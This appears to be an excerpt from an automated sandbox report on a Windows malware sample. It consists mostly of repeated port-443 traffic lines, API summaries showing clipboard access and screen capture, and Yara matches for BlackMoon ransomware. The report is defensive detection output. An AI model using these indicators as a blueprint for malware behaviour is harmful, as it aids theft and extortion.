Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49940 version: TLS 1.2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02BB8CA0 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_02BB8CA0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02BB8CA0 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_02BB8CA0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02BB5E50 GetDC,GetDesktopWindow,GetWindowRect,ReleaseDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,SetStretchBltMode,StretchBlt,GetObjectA,GetDIBits,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

0_2_02BB5E50

Source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_0ddf8a35-a

Source: Yara match	File source: 2.3. [ ].exe.665ea90.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.644ea90.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.665a1f0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.643f26c.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.664f26c.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.644a1f0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.5c3826c.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.5c47a90.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.5c431f0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: [ ].exe PID: 3856, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands

Yara detected BlackMoon Ransomware

Source: Yara match	File source: 0.3.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2dc8e42.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.2ffee3e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2dc7e3e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2e93e3e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.665ea90.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.644ea90.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2bc6e16.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.665a1f0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2b70000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.643f26c.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2b70000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.2f31e42.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.664f26c.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.644a1f0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.5c3826c.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.5c47a90.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3. [ ].exe.5c431f0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe PID: 6540, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: [ ].exe PID: 3856, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.3.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2dc8e42.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 2.3. [ ].exe.2ffee3e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2dc7e3e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.3.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2e93e3e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 2.3. [ ].exe.665ea90.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 2.3. [ ].exe.644ea90.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2bc6e16.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 2.3. [ ].exe.665a1f0.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2b70000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 2.3. [ ].exe.643f26c.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2b70000.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 2.3. [ ].exe.2f31e42.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 2.3. [ ].exe.664f26c.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 2.3. [ ].exe.644a1f0.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 2.3. [ ].exe.5c3826c.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 2.3. [ ].exe.5c47a90.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 2.3. [ ].exe.5c431f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen

Downloads suspicious files via Chrome

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File dump: C:\Users\user\Downloads\360c0mpkill5.1.64.1238-0809.zip (copy)

